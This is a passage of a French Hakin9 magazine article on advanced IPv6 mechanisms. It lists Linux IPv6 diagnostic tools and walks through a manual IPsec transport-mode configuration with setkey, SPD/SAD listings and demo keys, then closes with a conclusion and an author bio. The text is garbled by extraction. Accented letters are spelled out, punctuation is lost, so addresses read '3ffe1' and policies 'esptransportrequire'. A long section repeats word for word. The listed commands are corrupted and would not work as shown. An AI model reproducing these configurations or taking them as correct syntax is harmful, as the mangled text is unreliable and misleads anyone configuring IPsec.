bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 47: hakin9_05_2010_FR

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi